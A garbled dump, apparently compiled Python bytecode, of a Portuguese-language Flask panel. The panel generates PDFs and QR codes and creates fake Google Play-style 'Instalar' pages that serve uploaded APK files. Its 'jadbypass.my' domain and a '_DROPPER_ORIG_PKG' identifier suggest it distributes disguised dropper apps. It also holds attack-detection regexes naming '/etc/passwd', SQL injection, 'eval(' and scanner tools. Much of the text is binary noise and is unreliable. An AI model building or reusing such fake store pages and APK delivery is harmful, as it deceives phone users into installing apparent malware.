  /  s     ())FF?B.s3Eggll3::l3s5'5FGG77>>'"!456;;W{33rI   z	/pdf/listc                  .   dt         vrt        g       dfS t               } t         d   }| d   j                  |i       j                  dd      }| d   j                  |i       j                  d      }t	        d||||       }g }|D ]  }t        |      }t        j                  j                  t        j                  d   |j                  d	d
       d      }t        j                  j                  |      |d<   |j                  |        t        |      S )Nr  rN  rZ  rH  r  rO  r  r  r  rX   r  r   r   r   rh  r  r  rd  r   r   r]   r  r  r   r\   )rR  r  r  r  rL  outr5  rk  s           rJ   pdf_list_itemsr  ;  s     r{C	B:&Lg;??<488LLg;??<488CLO\<WYZE
C Dz77<<

< 8TXXhr=R<SSW:XY1X

4	
 3<rI   z/qr/listc            	      0   dt         vrt        g       dfS t               } t         d   }| d   j                  |i       j                  dd      }| d   j                  |i       j                  d      }t	        d||||       }g }|D ]  }t        |      }t        j                  j                  t        j                  d   d	|j                  d
d       d      }t        j                  j                  |      |d<   |j                  |        t        |      S )Nr  rN  rZ  rH  r  rO  r  r  r  r  rX   r  r   r  )rR  r  r  r  rL  r  r5  r	  s           rJ   qr_list_itemsr  N  s     r{C	B:&Lg;??<488LLg;??<488CLNL,VXYE
C Dz'',,szz,73txxPR?S>TTX9YZ0X

4	
 3<rI   z/pdf/delete/<pdf_id>c                 v   dt         vrt        ddi      dfS t        j                  dd|       d d } t	               }t         d   }|d   j                  |i       j                  d	d
      }|d   j                  |i       j                  d      }t               }|j                  dg       }g }d}|D ]q  }	|	j                  d      | k(  rJ|	j                  d      }
|dk(  s1|
|k(  s,|dk(  r*|d   j                  |
i       j                  d      |k(  rd}a|j                  |	       s |st        ddd      dfS ||d<   t        |       t        j                  j                  t        j                  d   |  d      }t        j                  j                  |      rt        j                  |       t        ddi      S )Nr  r
  FrN  r  rX   r  rZ  rH  r  rO  r  r  r  rA  r?  TNao encontrador:  r  r  r  )r   r   r|  r  rh  r  r   r\   r#  r   r   r]   r  r  r   r  )r  rR  r  r  r  r"  rL  	new_itemsfoundr5  rA  rk  s               rJ   
pdf_deleter  a  s    	5)*C//VVOR0"5F	B:&Lg;??<488LLg;??<488CLFJJ+EIE 88H'HH\*Ew&%<*?LT[D[`bcj`k`o`opuwy`z`~`~  @I  aJ  NZ  aZ 55EFGLL'F?Vww||CJJ|4oFH	ww~~h
		(It$%%rI   z/qr/delete/<qr_id>c                    dt         vrt        ddi      dfS t        j                  dd|       d d } t	               }t         d   }|d   j                  |i       j                  d	d
      }|d   j                  |i       j                  d      }t               }|j                  dg       }g }d}d }	|D ]  }
|
j                  d      | k(  rr|
j                  d      }|dk(  s1||k(  s,|dk(  rR|d   j                  |i       j                  d      |k(  r+d}|
j                  d      r|
d   j                  d      d   }	|j                  |
        |st        ddd      dfS ||d<   t        |       d|  dfD ]h  }t        j                  j                  t        j                  d   |      }t        j                  j                  |      sTt        j                   |       j |	rht        j                  j                  t        j                  d   |	 d      }t        j                  j                  |      rt        j                   |       t        ddi      S )Nr  r
  FrN  r  rX   r  rZ  rH  r  rO  r  r  r  rA  r?  Tr  r  r  r  r:  r  r  r  r  r  )r   r   r|  r  rh  r  r   r  r\   r#  r   r   r]   r  r  r   r  )r  rR  r  r  r  r"  rL  r  r  pdf_id_to_delr5  rA  f_namer  s                 rJ   	qr_deleter    s>    	5)*C//FF?B.s3E	B:&Lg;??<488LLg;??<488CLFJJ~r*EIEM 88G%HH\*Ew&%<*?LT[D[`bcj`k`o`opuwy`z`~`~  @I  aJ  NZ  aZ88I&$(O$9$9#$>r$BM 55EFGLL&F>Vt$% GGLLL16:77>>!IIaL GGLLL1m_D3IJ77>>!IIaLIt$%%rI   c                   89:;<= ddl m} ddlm} ddlm} dd l}dd l}	d9d8|\  ;:89:;fd}
|j                  | |      }|rt        |      nd	} |j                  |  |j                  dd;:d
d       |D 
]/  }|j                  dd      }	 t        |j                  dd            }t        |j                  dd            }t        t        |j                  dd            d
      }t        t        |j                  dd            d
      } |
||||      \  }}}}|dk(  rtt        |j                  dd            d d }t!        t        t        |j                  dd            d      d      }t#        |j                  dd            }t%        j&                  ddt        |j                  dd                  d d xs d}|j                  d d!      }|rd"nd#} |j                  t        |        |j)                  ||       |j+                  d$      }t-        |d d%       D ]o  \  }}||z   ||d
z   z  z
  d&z   } | |d&z
  k  r na|d'k(  r|j/                  ||d&z  z   | |       A|d(k(  r|j1                  ||z   | |       ]|j3                  || |       q n|d)k(  rt%        j&                  d*dt        |j                  d+d                  d d% }!t4        j6                  j9                  |d,|!       }"t4        j6                  j;                  |"      rt#        |j                  d-d.            }#|j=                   ||"      ||||d/|#d01       nX|d2k(  rEt%        j&                  ddt        |j                  d3d                  d d xs d=t%        j&                  ddt        |j                  d4d5                  d d xs d5<t?        =fd6d7D              }$t?        <fd8d7D              }%|jA                  |jB                  jD                  d9d&:      }&|&jG                  |       |&jI                  d.;       |&jK                  |$|%<      }'|	jM                         }(|'jO                  |(d=>       |(jQ                  d       |j=                   ||(      ||||       n|d?k(  rit        |j                  d@dA            d d })t%        j&                  ddt        |j                  d4dB                  d d xs dB}*t%        j&                  ddt        |j                  dCd5                  d d xs d5}+t!        t        t        |j                  ddD            dE      d%      },t!        |dFz  d9      }- |j                  t        |*        |jS                  |||||-d
d        |j                  t        |+        |j)                  d"|,       |j/                  ||d&z  z   |||,z
  d&z  z   d
z   |)       |jU                  |||||z   ||z   fdG       n|dHk(  rt%        j&                  d*dt        |j                  d+d                  d d% }!t        |j                  dId            d dJ }.t4        j6                  j9                  |d,|!       }"t4        j6                  j;                  |"      r|j=                   ||"      ||||d/dK       n*|j                  dLdLdL       |j                  ||||d
d       t!        ||      dMz  }/||d&z  z   }0||d&z  z   }1|j                  d
d
d
       |jW                  |0|1|/d
d       |j                  dLdLdL       |jY                         }2|2j[                  |0|/dNz  z
  |1|/dOz  z          |2j]                  |0|/dPz  z   |1       |2j]                  |0|/dNz  z
  |1|/dOz  z
         |2j_                          |ja                  |2d
d       |.r|jU                  |.||||z   ||z   fdG       n|dQk(  r.t%        j&                  ddt        |j                  dRdS                  d d xs dS}3t%        j&                  ddt        |j                  dTd                  d d }4t        |j                  dUd
            }5t        |j                  dVd            }6 |j                  t        |3        t#        |4      }7|7r) |jb                  t        |4        |je                  |5       |6dkD  r|jS                  |||||6d
|7rd
nd       n|j                  ||||d
|7rd
nd       n|dWk(  rt%        j&                  ddt        |j                  dRdS                  d d xs dS}3t%        j&                  ddt        |j                  dTd                  d d }4t        |j                  dUd
            }5 |j                  t        |3        t#        |4      }7|7r) |jb                  t        |4        |je                  |5       |jg                  ||||z   ||z   d
|7rd
nd       n|dXk(  rt%        j&                  ddt        |j                  dRd                  d d xs d}3 |jb                  t        |3        |je                  |       |ji                  |||d&z  z   ||z   ||d&z  z          
2 |jm                          |jO                          y # tj        $ r Y 
`w xY w)YNr   r/  r1  r  g     @@g     @c                 \    | 	z  z  }|	z  z  }|
z  z  }
|
z  z  z
  |z
  }||||fS r  rH   )rv  cycwchr<  r6  r(  yCANVAS_HCANVAS_WPAGE_HPAGE_Ws           rJ   to_pdfz$_render_advanced_pdf.<locals>.to_pdf  sW    6H$%6H$%6H$%bFX-..2!QzrI   r5  rQ  r,  rC  r  rX   r<  r  r6  r1  r(  r2  r   i  r|     r{   r$  boldFr  r*  r  rx   alignleftrL  rM  r{  r  r`  centerrightimage[^a-zA-Z0-9._-]img_idimg_
keep_ratioTr  rr  )r  preserveAspectRatior  r  r  rs  r  c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  rQ   rR   fg_hexs     rJ   rT   z'_render_advanced_pdf.<locals>.<genexpr>  ,     Uas6==#5a!#<bAUr  r*  c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  rQ   rR   bg_hexs     rJ   rT   z'_render_advanced_pdf.<locals>.<genexpr>  r4  r  rO   r  r  r  r  r  buttonr  rS  r  ro  rR  r   rb  rU  videor  r  )r  r0  g?g(\?r  g?r  r\  rD  z#ccccccr  border_widthradiusellipser  )7rW  r0  rX  r2  r  r  r  rF  rZ  r-  r[  r\  r  floatr  r_   r:  r  r|  r  rd  r  r  re  drawRightString
drawStringr   r   r]   r   r  rd  r  r  r  r  r  r  r  r  seekrh  ri  r_  r`  ra  rb  r  rc  r]  r^  r<  r  r   rj  )>rk  rm  elementsrl  r  rq  r2  r  
qrcode_librF  r$  rr  rs  elr   rv  r  r  r  r<  r  r6  r(  rr  fsizer&  r*  r'  fontrn  rR   r  lyraw_idimg_pathpreservefg_tbg_tr  r  r  r  btn_bgbtn_tc	btn_fsizer;  	video_urlr2cx2cy2p2fill_hex
border_hexbwradius_r
has_borderr   r!  r"  r#  r7  r3  s>                                                           @@@@@@rJ   _render_advanced_pdfrY    s
   4*/HHNFF 	B/A  ((	YBArFF1aaF2 {FF62y	rvvc1~&Brvvc1~&BU266#r?+Q/BU266#r?+Q/BBB/JAq!QF{BFF62./6Cbff["&= >BCHRVVFE23/S9S5TUVXWXYf]fw/,0(k!!!8E?3		$&		$(s4 	2GAtQ!a%014BAEz(++AAIr4@')))!a%T:QD1	2 g&&!3RRVVHb=Q9RSTWUWX77<<
d6(OD77>>(+#BFF<$>?HKKH 5q!Q%+RU   W d 0"c"&&y:Q6RSTVUVWd[d 0"c"&&y:Q6RSTVUVWd[dU9UUU9UU&&
8L8L8\8\girs&tL)D!mmtmEjjlU+K,aAq9hrvvg/BCDSbI66"2BBFF4QZ<[8\]^`_`anen66"2BBFF<QZ<[8\]^`_`anens5R)@#A1ErJ	q1ub>!!!8F#34Aq!QQqA!!!8F#34		*I6##AAIqA	MQ3F/F/JER		,Aq1ua!e(<q	Ig66"4b#bffXr>R:STUXVXYrvveR01$37	GGLLtF8_E77>>(+KKH 5q!QdiKj%%c34FF1aAAaF8!Qi$&!a%i!a%i!!!Q*c2Aa8!!#sC0[[]		#S.#T	/:		#T	/3/		#S.#T	/:


2Aa
0IIi!QAq1u)=IJfVV$4b#bffVY>W:XYZ\[\]jajVV$4b#bffXr>R:STUWVWX
"266.!#<="266(A#67!!!8H#56!*-
'A''*)=>NN2&a<KK1aH1*QZ[K\FF1aAA:a1FMiVV$4b#bffVY>W:XYZ\[\]jajVV$4b#bffXr>R:STUWVWX
"266.!#<=!!!8H#56!*-
'A''*)=>NN2&		!QAq1u1*QRS	Tf66"2BBFF69<U8VWXZYZ[h_h###Xh%78q!q!a!e)QUAAI6q{z JJLFFH	  		s   hk	kkz/pdf/editorc            	         dt         vrt        t        d            S t               } t         d   }| d   j	                  |i       j	                  dd      }| d   j	                  |i       j	                  d      }g }t               }| d   j                         D ]  \  }}|dk(  r||k7  r|dk(  r|j	                  d      |k7  r+|j	                  dg       D ]f  }|j	                  d	      d
k(  s|j	                  d      |vs,|j                  |d          |j                  |d   |j	                  dd      d       h  |dk(  rg }t               }| d   j                         D ]  \  }}|j	                  dg       D ]f  }|j	                  d	      d
k(  s|j	                  d      |vs,|j                  |d          |j                  |d   |j	                  dd      d       h  t        d||      S )Nr  r3  rZ  rH  r  rO  r?  rN  rM  r  r  r  r   )r  r  rA  zpdf_editor.html)rN  r  )
r   r	   r
   rh  r  r  rL  rC  r\   r   )	rR  r  r  r  rN  seenr  rq  r:  s	            rJ   pdf_editor_pager\  A  s    ())	B:&Lg;??<488LLg;??<488CLF5D7))+ au:%%<*?7"uyy';|'K8R( 	aAuuX+-!%%
2C42O:'1Z=aeeJX]F^_`	aa wuwK--/ 	eLE5YYx, e55?k1aeeJ6Gt6SHHQz]+MMq}!%%PZ\aJb"cde	e
 ,VlSSrI   z/pdf/upload-imagec                  ^   dt         vrt        ddi      dfS dt        j                  vrt        ddd      dfS t        j                  d   } | j                  st        dd	d      dfS t
        j                  j                  t        | j                              d
   j                         }|dvrt        ddd      dfS t        j                  d      |z   }t
        j                  j                  t        j                  d   d|       }| j                  |       t        d|d| d      S )Nr  r
  FrN  r  Nenhum arquivor:  rA  zArquivo vazior,  r  z.jpgz.jpegz.gifz.webpzFormato nao suportadory  r  r.  Tz/pdf/image/)r
  r-  img_url)r   r   r   r*  r  r   r   r  r   r  r   r   r]   r  r  r  )rh  r  r-  rH  s       rJ   pdf_upload_imagera  _  s    	5)*C//W]]"55EFGLLfA::5_EFKK
''

?1::6
7
:
@
@
BC
<<55LMNPSSSr"S(Fww||CJJ|4VHoFHFF8tvKPVxBXYZZrI   z/pdf/image/<img_id>c                    dt         vrt        ddi      dfS t        j                  dd|       d d } t        j
                  j                  t        j                  d   d	|        }t        j
                  j                  |      st        dd
i      dfS t        j
                  j                  |       d   j                         j                  d      }ddddddj                  |d      }t        ||      S )Nr  r  r  rN  r,  rX   r  r  r.  zImagem nao encontradar  r,  r|   r  z
image/jpegz	image/gifz
image/webp)pngjpgjpeggifwebpr  )r   r   r|  r  r   r   r]   r  r  r   r  r  r  r  r   )r-  rH  r  mimes       rJ   pdf_get_imageri  q  s     !345s::VV&F3CR8Fww||CJJ|4VHoFH77>>(#!89:C??
''

6
"1
%
+
+
-
4
4S
9C|\669c#{6K 	X--rI   z/pdf/qr-previewc                     dt         vrt        ddi      dfS dd l} dd l}t	        j
                  ddt        j                  j                  dd	            d d
 xs d	t	        j
                  ddt        j                  j                  dd            d d
 xs dt        fddD              }t        fddD              }| j                  | j                  j                  dd      }|j                  d       |j                  d       |j                  ||      }|j!                         }|j#                  |d       |j%                  d       t'        |d      S )Nr  r  r  rN  r   r  rX   r  r  rx   rs  r  c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  r2  s     rJ   rT   z!pdf_qr_preview.<locals>.<genexpr>  ,     GV]]3'!A#.3Gr  r*  c              3   `   K   | ]%  }t        j                  d       ||dz    d       ' ywr  r  r6  s     rJ   rT   z!pdf_qr_preview.<locals>.<genexpr>  rl  r  r{   r`  r  zhttps://jadbypass.myTr  r  r  r  r  r  )r   r   r  rF  r|  r  r   r  r  rd  r  r  r  r  r  r  r  r  r@  r   )	rB  rF  rJ  rK  r  r  r  r7  r3  s	          @@rJ   pdf_qr_previewrn    s.    !345s::VV$b',,*:*:4*KLRaP]T]FVV$b',,*:*:4*KLRaP]T]FGYGGDGYGGD			J,@,@,P,P[\ef		gBKK&'GGG
--4D-
9C
**,CHHSHHHQKS;//rI   z/pdf/generate-advancedc                  $	   dt         vrt        ddd      dfS t        j                  dd      xs i } t	        | t
              st        ddd      d	fS t        j                  d
dt        | j                  dd                  d d }t        j                  ddt        | j                  dd                  d d xs d}| j                  dg       }t        t        | j                  dd      xs d      d      }t        | j                  dd            d d }|rt	        |t              st        ddd      d	fS t               }t         d   }|d   j                  |i       j                  dd      }|d   j                  |i       j                  d      }	d}
d}|d   j                         D ]  \  }}|dk(  r||k7  r|dk(  r|j                  d      |	k7  r+|j                  dg       D ]A  }|j                  d      |k(  s|j                  d      d k(  s-d}
|j                  d!d      } n |
s n |
sz|d"k(  ru|d   j                         D ]_  \  }}|j                  dg       D ]A  }|j                  d      |k(  s|j                  d      d k(  s-d}
|j                  d!d      } n |
s_ n |
st        dd#d      d$fS t        j                   d%      }t#        j$                         t'        |&      z   j)                         }t+               }|||t#        j$                         j)                         |d'd(d)||<   t-        |       d*| }t        j                   d+      }t.        j0                  j3                  t4        j6                  d,   | d-      }	 t9        ||||t4        j6                  d,          t=        |d0d1|        t?        |d2| ||xs |||t#        j$                         j)                         |d3       	 tA        d4d5| d6| d7d8d|dd9d:|dd9d;t        tC        |            dd9d<|dd9g=       t        d|d2| |d>      S # t:        $ r&}t        dd.t        |       d      d/fcY d }~S d }~ww xY w# t:        $ r Y Pw xY w)?Nr  Fr  r:  rN  Tr=  r@  rA  r  rX   r  r1  r  rm  r  rx   rA  r  r   r  r  r   r  rZ  rH  r  rO  r?  rN  rM  r  r  rA  r  r  r  r  r   pdf_advancedr  r  ry  r  r  r  r  zGerar PDF EditorzPDF editor para r  r  zPDF EDITOR GERADOzPDF editor criado por **r  r-  i\ r  r  	ElementosLinkr9  )r
  r  r  r  )"r   r   r   rO  rP  rd  r|  r  r_   r  r:  r  listrh  rL  r   r   r   r-  r   r.  r   r#  r   r   r]   r  r  rY  r   r  r  r=  r  )r  r  rm  rA  r  pdf_title_mrR  r  r  r  r  r  r  rq  r:  r  r  r"  rl  r  rk  r  s                         rJ   pdf_generate_advancedru    s    55GHI3NN$t4:DdD!55FGH#MM&&*BDHHZ4L0MNsPRSH&&)BDHHZ4S0TUVXWXYf]fH((:r*Hc$((="5;<cBKdhh{E23DS9K:h555FGH#MM;B:&Lg;??<488LLg;??<488CLKH7))+ u:%%<*?7"uyy';|'K8R( 	AuuZ H,xK1O"eeJ6		
  <72wK--/ 	LE5YYx, 55$0QUU8_5S"&K"#%%
E":H	
 	 55KLMsRR""2&H//#i[&AALLNJ!#F("(//2C2M2M2O q.F8
 V.xj9L$$R(F77<<

< 8VHD/JH[Xx<T`Iab 04DXJ2OP~fX%>+*ALoo'113:	 &|nJxjKxN#|N$s3x=/ATR|O		
	
 tv!/x8\S T T5  [57J3q6(5STUWZZZ[.  s0    Q <R 	R Q;5R ;R 	RRc                  H   	 t        j                  d       t        j                          dz
  } dx}}t        j                  j	                  dd      }|r	 t        j                  |      D ]  }t
        j                  j                  ||      }t
        j                  j                  |      sC|j                  d      sUt
        j                  j                  |      | k  sx	 t        j                  |       |dz  } 	 t        j                  j	                  dd      }|r	 t        j                  |      D ]  }t
        j                  j                  ||      }t
        j                  j                  |      sC|j                  d	      sUt
        j                  j                  |      | k  sx	 t        j                  |       |dz  } 	 |s|rt        d
| d| d       # t        $ r Y w xY w# t        $ r Y w xY w# t        $ r Y w xY w# t        $ r Y Rw xY w)Nr  Q r   r  rX   r  r,  r  r  z[cleanup] removidos: z	 APK(s), z PDF(s) com mais de 48h)r  sleepr  r  r  r   r  r   r]   r  rK  getmtimer  r   r   )cutoffremoved_apkremoved_pdfoutput_folderr+  r,  r  s          rJ   _cleanup_old_apksr~    s   


4y($%%k

;ZZ6 %EGGLL>Eww~~e,1G77++E2V;% "		% 0 +q 0% ZZ^^L"5
ZZ
3 %EGGLLU;Eww~~e,1G77++E2V;% "		% 0 +q 0% +)+i}LcdeI  $- % $%  $- % $% s   AG6 -G6 ?"G6 #G&=G6 #AH ;H "H 1HH &	G3/G6 2G33G6 6	HH	HH HH 	H! H!z/play/<slug>c                 x   t        j                  dd|       d d } t               }|j                  di       }|j                  |       }|sy|j                  dd      }|rI	 ddlm}m}  |j                  |      } |j                         |z
   |d	
      kD  r|| = t        |       y	 t        d|      S #  Y xY w)Nr  rX   r|  
play_pages)u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Página não encontrada.</h2></body></html>r  rJ  r   r   r  rb  )u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>Esta página expirou.</h2></body></html>r  zplay_page.html)r  )
r|  r  rh  r  r   r   ry  ra  rp  r   )slugrR  pagespagecreatedr   r   cts           rJ   	play_pager    s    66#R.s3D	BFF<$E99T?D \hh|R(G	4'''0Bx||~"YR%88$K" a 9 +66	s    AB5 5B9z/play-download/<slug>c           
      4   t        j                  dd|       d d } t               }|j                  di       }|j                  |       }|st	        ddi      dfS t        j                  ddt        |j                  d	d                  d d
 }t        j                  d   }t        j                  j                  || d      }t        j                  j                  |      syt        j                  dd|j                  dd            dz   }t        |d|      S )Nr  rX   r|  r  r     Não encontrador  r  r  r1  r  r  )u   <html><body style="font-family:sans-serif;padding:2rem;color:#555;text-align:center;"><h2>APK não disponível no momento.</h2></body></html>r  z[^a-zA-Z0-9 _-]r  r  Tr  )r|  r  rh  r  r   r_   r  r  r   r   r]   r   r   )r  rR  r  r  r  r}  r  r  s           rJ   play_downloadr  5  s    66#R.s3D	BFF<$E99T?D!234c99vv&CR0H,IJ3BOHJJ/M]xj,=>I77>>)$ d66,b$((:u2MNQWWLYd,OOrI   z/api/play-pagesc                     dt         vrt        g       dfS t               } | j                  di       }t        j
                  d   }t        j                         }g }t        |j                               D ]S  \  }}|j                  dd      }|s	 t        j                  |      }||z
  t        d      kD  r|j                  |       U |D ]  }||=  |rt        |        t        j                  dd      }	t        j                  d	      d
v }
g }|j                         D ]  \  }}|
s|j                  dd      |	k7  rt        j                  ddt!        |j                  dd                  d d }t"        j$                  j'                  t"        j$                  j)                  || d            }d}|j                  dd      }|r[	 t        j                  |      }||z
  }d|j+                         z
  }|dk  rt-        |dz        }t-        |dz  dz        }| d| d}|j                  i |||d        |j/                  d d       t        |      S #  Y xY w#  Y FxY w)Nr  rN  r  r  rJ  rX   r  rb  rH  )r?  rA  r  r  r  r1  r  24hrw  r   r  r  r(  r  )apk_available	remainingc                 &    | j                  dd      S )NrJ  rX   r  )r<  s    rJ   <lambda>z get_play_pages.<locals>.<lambda>u  s    aeeL"5 rI   T)r  reverse)r   r   rh  r  r  r  r   ra  rs  rL  ry  r   r\   rp  r|  r  r_   r   r   r   r]   total_secondsr  sort)rR  r  r}  ra  r+  r  r  r  r  r  is_adminr  r  
apk_existsr  elapsedremaining_secsr(  r  s                      rJ   get_play_pagesr  E  sW    r{C	BFF<$EJJ/M
,,.CG5;;=) 
d((<,++G48ib11NN4(  $K";;z2.L{{6"&88HFkkm U
dDHH\26,F66*BDHHZ4L0MNsPRSWW^^BGGLL8*D@Q$RS
	((<,
++G4(!&)>)>)@!@!Q&$./$.256 c1#QK	 	SS
ST+U, KK5tKD6?A6s   8I	2I%<'I%I"%I)z/api/play-icon-uploadc                     dt         vrt        ddi      dfS t        j                  j	                  d      } | r| j
                  st        ddd      dfS t        j                  j                  t        | j
                              d	   j                         }|d
vrt        ddd      dfS t        j                  j                  t        ddd      }t        j                  |d       t        t        j                                |z   }t        j                  j                  ||      }| j#                  |       t        dd|z   d      S )Nr  r
  FrN  r  r^  r:  rA  r,  r_  z,Formato invalido (use PNG, JPG, GIF ou WebP)staticr  
play_iconsTr  z/static/img/play_icons/)r
  r  )r   r   r   r*  r  r  r   r   r  r   r  r]   BASE_DIRr   r_   ro  rp  r  )rh  r  	icons_dirr+  r,  s        rJ   upload_play_iconr  y  s    	5)*C//&!AAJJ55EFGLL
''

?1::6
7
:
@
@
BC
<<55cdegjjjXxEIKK	D)

#EGGLLE*EFF5Mt,E,MNOOrI   c                  $   dt         vrt        ddi      dfS t        j                  dd      xs i } t	        | j                  dd            j                         d d	 }t        j                  d
dt	        | j                  dd                  d d }t	        | j                  dd            d d }t	        | j                  dd            j                         d d	 }t	        | j                  dd            j                         d d }t	        | j                  dd            j                         d d }t	        | j                  dd            j                         d d }|r|st        ddd      dfS t        j                  d|      j                  dd      j                  d      }t        j                  dd |j                               j                  d       }|s|d d }t               }	d!|	vri |	d!<   |}
d"}||	d!   v r|
 d | }|d"z  }||	d!   v r||||||||t         d   t        j                          j#                         d#
|	d!   |<   t%        |	       	 t'        d$d%| d&t         d    d'| d(       t        d|d)| d*      S #  Y xY w)+Nr  r
  FrN  Tr=  r  rX   r|  r  r  r1  icon_urli  rf  Desenvolvedorrl  rm  r2  ri  rj  r  button_textInstalaru)   Nome do app e Build ID são obrigatóriosr:  rA  NFKDasciir2  z
[^a-z0-9]+-r  r,  )
r  r  r  r  rf  rl  ri  r  r  rJ  zTELA PLAY Criadar-  z**
Operador: z 
URL: https://jadbypass.my/play/i_ z/play/)r
  r  r  )r   r   r   rO  r_   r  r  r|  r  _unicodedata	normalizer  r  r  rh  r   ra  r.  rp  r=  )r  r  r  r  rf  rl  ri  r  r  rR  	base_slugr  s               rJ   create_play_pager    s    	5)*C//$t4:D488J+,224Sb9Hvv&CR0H,IJ3BOH488J+,Ud3HDHH[/:;AACCRHIDHH[%01779#2>I(E*+113BQ7Fdhh}j9:@@B3BGK855`abdggg!!&(3::7HMTTU\]D66-djjl399#>D}	B2<IG
"\"
"AgY'1 "\"
"
 "j)lln..0B|T bM/2hZ~gV`NaMb  cD  EI  DJ  2K  MU  	V tTF4&/JKKs   J Jz/api/play-pages/<slug>DELETEc                    dt         vrt        ddi      dfS t        j                  dd|       d d } t	               }d|vs| |j                  di       vrt        dd	d
      dfS |d   | = t        |       t        ddi      S )Nr  r
  FrN  r  rX   r|  r  r  r:  r  T)r   r   r|  r  rh  r  rp  )r  rR  s     rJ   delete_play_pager    s     	5)*C//66#R.s3D	B2RVVL"-E!E55FGH#MM
<bMIt$%%rI   z(?i)(\.\./|%2e%2e|%252e%252e)z;(?i)(union.{1,20}select|drop.{1,10}table|insert.{1,10}into)z.(?i)(etc/passwd|etc/shadow|\.env|\.git/config)z*(?i)(eval\(|base64_decode|system\(|exec\()zU(?i)(sqlmap|nikto|masscan|nmap|dirsearch|nuclei|gobuster|acunetix|nessus|zgrab|hydra)>   r4  rT  rY  c                  \   t         j                  dvry t         j                  t        v ry t         j                  j	                  d      ry dt
        vry t        j                  dd      } t         j                  j                  dd      xs2 t         j                  s t         j                  j                  dd      nd}t         j                  r1	 t        j                  d      xs i }|xs |j                  dd      }| r|rt        | |      st        d	d
i      dfS y # t        $ r Y +w xY w)N)r  PUTr  PATCH/api/pix/statusr  r-  rX   zX-CSRF-TokenT)r?  r  zCSRF token invalidorF  )r   r  r   _CSRF_EXEMPT_PATHSrM  r   r  r  is_jsonr  rO  r   _csrf_comparer   )expectedgivenrs  s      rJ   csrf_protectr    s    ~~??||))||01 {{<,HOO3zbibqbq8H8HWY8ZwyE	  -3A4QUU<4E 5h(F!678#==	  		s   0D 	D+*D+c                 R    dd l }|j                  t        |       t        |            S )Nr   )hmaccompare_digestr_   )r{  r:  r  s      rJ   r  r    s     s1vs1v..rI   c                  <   t               } t        j                  }t        j                  j	                  dd      }t        j
                  }t        j                         dfd	}t        j                  |      r0 |d|  d      r$t        dddd	| d
dd|d d d
dd|d d ddg       t        D ]i  }|j                  |      s|j                  |      s& |d|  d      r7t        dddd	| d
ddt        j                  d
dd|d d ddd|d d ddg        y  y )N
User-AgentrX   c                 V    t         j                  | d      }|z
  |k  ryt         | <   y)Nr   FT)_web_alert_cacher  )r  secslastra  s      rJ   	_cooldownz%detect_web_attacks.<locals>._cooldown  s2    ##C+: #rI   ua_r}  zSCANNER DETECTADOz(Ferramenta de scan identificada no site.r7  rL  Tr  Pathr|  r  Fr9  atk_zTENTATIVA DE ATAQUE WEBz)Padrao malicioso detectado na requisicao. Metodor  zURL completara  )r   )r  r   r   r  r  r  r  _SCANNER_UAr  r=  _ATTACK_PATTERNSr  )r  r   uafull_urlr  r  ra  s         @rJ   detect_web_attacksr    s,   	B<<D			\2	.B{{H
))+C ")c"J"<6d;$s)tD%4CEJ			
   ::h3::b>4tc*$-?"!%dC!)GNNdS!'$t*N!/(4C.TYZ		
 rI   z/var/log/gangstar_attacks.log>   r4  rY  r  gangstar_attacksz%(message)sc                    dd l }	 t               }t        j                  }t        j                  }| j
                  }t        j                  j                  dd      d d }t        j                  j                  dd      d d }t        j                  xs d}|dk(  }	|dk\  }
|	s|
s| S d}|	r|r~	 t        j                  d	
      }d|j                         v r<|r:	 |j                  |      }dD ]  }||v sd||<    |j                  |d      d d }nd|j                         v r|r|d d }d}|
r	 | j                  d	
      d d }dd l}|j                  j                         j!                         |||||||||d
}t"        j%                  |j                  |d             | S # t        $ r |d d }Y w xY w# t        $ r d}Y w xY w# t        $ r Y w xY w# t        $ r Y | S w xY w)Nr   r  rX   r$  Refererra  r  rA  T)as_textr  )r   senhapasspwdr  r  F)ensure_asciir  r   r  )
tsr  r  r   rM  r  refererr  r  r  )r  r  r   r   r  r  r  r  content_typeget_datar  r  dumpsr   r   r-  r.  _atk_loggerry  )r  r  r  r   r  rM  r  r  r  is_postis_errorbody_strrr  parsedrz   	resp_body_dtrecords                     rJ   log_attack_detailsr  0  s   <_||%%__  r24C8//%%i4Tc:!!'R F"S=8O r&&t4RXXZ'C-!&S!1!O 2A F{,1q	2 $);;vE;#J4C#P rxxz)c"4CyH
 	$--d-;DSA	 	,,%%'113
 	V%@A O? % -#&t9-    "  Os   BG &G -*F7 F# 3F# F7 *G /G AG #F41F7 3F44F7 7GG GG 	GG GG 	G$#G$r  c           
      2   t               }t        j                  t        fddD              rWd| }t	        j                         }|t
        j                  |d      z
  dkD  r"|t
        |<   t        dddd	|d
ddd
dg       ddlm	}  |ddi      dfS )Nc              3   B   K   | ]  }|j                         v   y wr  )r  )rQ   r<  r   s     rJ   rT   znot_found.<locals>.<genexpr>w  s     
c1


cs   )z.phpz.envr?  zwp-z.gitr  backup404_r   r  zRECONHECIMENTO DETECTADOz1IP tentando acessar caminho sensivel inexistente.r7  rL  Tr  zPath tentador9  r   r  z	Not foundr  )
r  r   r   rX  r  r  r  r=  flaskr   )r  r  r  ra  r   r   s        @rJ   r  r  r  s    	B<<D

c&b
ccRDkiik!%%c1--3$'S! *C!B$?+ddK	 G[)*C//rI   r  c                     t               }t        dddd|dddt        j                  dddt	        |       d d	 d
dg       ddlm}  |ddi      dfS )NzERRO 500 INTERNOz*Erro interno no servidor - verificar logs.r  rL  Tr  r  r  r$  Fr9  r   r  r  zInternal server errorr  )r  r=  r   r   r_   r  r   )r  r  r   s      rJ   server_errorr    sf    	B
4B$7glldCc!fTcleD
		 G456;;rI   __main__r  i  )debughostportr  )irk N)NNr  FNN)r  r  r  rS  )r  r  )r  r  ry  )r  r   r   r   r   r   r   r	   r
   r   r   r   defusedxml.ElementTreeElementTreer  werkzeug.utilsr   werkzeug.securityr   r   r  r  r   r   r  r  ro  requestsr/  PILr   r  MAX_IMAGE_PIXELSr   r|  rD   r   collectionsr   rF   rG   rK   re   rt   _DROPPER_ORIG_PKGr}   r   r   r   r   r   r   r@  rA  rB  rC  rD  rE  rF  rG  rH  rI  ry  r  r  r
  r  r/  r:  r  r  r  r  r  r  __name__r  r   r]   abspathr!  __file__SECRET_KEY_FILEr   rP  r  rQ  r  
